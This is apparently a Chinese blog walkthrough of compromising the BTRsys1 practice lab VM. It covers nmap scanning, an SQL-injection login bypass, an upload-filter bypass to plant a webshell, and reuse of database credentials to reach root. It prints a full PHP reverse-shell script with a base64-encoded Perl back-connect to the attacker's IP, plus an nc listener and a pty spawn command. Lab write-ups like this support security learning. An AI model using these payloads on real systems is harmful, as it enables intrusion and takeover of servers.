BTRsys1靶场渗透

第一次做靶场渗透,如有不足,请多指教

攻击机:kali 2019.1
靶机:BTRsys1

确认靶场ip

因为靶机网络为NAT模式,kali也为NAT,所以靶机和攻击机在同一网段,nmap扫描同网段存活主机

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[email protected]:~# nmap -sP 192.168.65.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-19 22:00 CST
Nmap scan report for 192.168.65.1
Host is up (0.00026s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.65.2
Host is up (0.00016s latency).
MAC Address: 00:50:56:F1:64:F6 (VMware)
Nmap scan report for 192.168.65.142
Host is up (0.0018s latency).
MAC Address: 00:0C:29:17:1B:E4 (VMware)
Nmap scan report for 192.168.65.254
Host is up (0.00069s latency).
MAC Address: 00:50:56:E0:A8:2E (VMware)
Nmap scan report for 192.168.65.131
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 18.89 seconds
[email protected]:~#

可得知靶机的 ip 为 192.168.65.142

确认靶场开放的服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[email protected]:~# nmap -sV 192.168.65.142
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-19 22:05 CST
Nmap scan report for 192.168.65.142
Host is up (0.0042s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
MAC Address: 00:0C:29:17:1B:E4 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.78 seconds
[email protected]:~#

可知靶机开放了3个服务,其中ssh的话可以进行账号密码爆破,由于没爆出账号密码,所以这里选择80端口开放的web服务下手。

访问web页面,寻找漏洞点

没发现可用信息,用目录扫描器扫描下网站目录

进入页面,查看login页面的源代码

分析源代码中的上面这段代码,可知表单中的 user 字段的要求为邮箱,且后缀为 @btrisk.com ,而密码字段无限制,所以构造 user 为 **[email protected],passwd 为万能密码‘or’1**,即可登录成功

找到上传点,进行 getshell

登录后,进入到 personel.php 界面,其中有文件上传点,观察网页源代码

可知文件上传的要求为只能上传 .jpg .gif .png 后缀的,进行抓到改包,即可绕过限制,上传一句话 webshell

菜刀连接测试成功

提权到ROOT

菜刀查看发现网站根目录下的 config.php ,发现本地数据库连接账户密码为 root和toor

可以登录数据库查看是否可以提权

通过 php 反弹 shell

在上传一个 php 反弹 shell 脚本,就是上图菜刀连接测试中的 myshell.php 文件
这里给出php反弹shell脚本的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while([email protected]($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if([email protected]($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.65.131";
$yourport = '7777';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

这个脚本也是网上 copy 的,不太清楚有没有什么问题

在 kali 上执行监听
nc -lvp 7777

访问上传的php反弹shell脚本


得到一个无交互的shell

在弹回的shell上执行 python -c '__import__("pty").spawn("/bin/bash")',取得一个有交互界面的shell

参考:https://blog.evalbug.com/2018/07/25/antsword_prompt_shell/

查看数据库,判断能否通过数据库提权

在拿到 交互shell 后就可以登录数据库查看数据库内容,然后判断是否有可利用的点

根据猜测,去尝试登录root用户,看是否能登录成功!

密码试验成功,提权到root

nice,登录成功,获得root权限

总结

第一次体验渗透,第一次拿到root权限,还是蛮开心的,虽然这个靶场很简单,但也通过这个简单的靶场,学到了不少东西,所以想详细的记录和总结一下。以前都是做CTF题目比较多,现在玩这种综合性的渗透感觉对于思维的连贯性还有蛮大锻炼的,看到一个点,就要想想,这里有什么能利用的。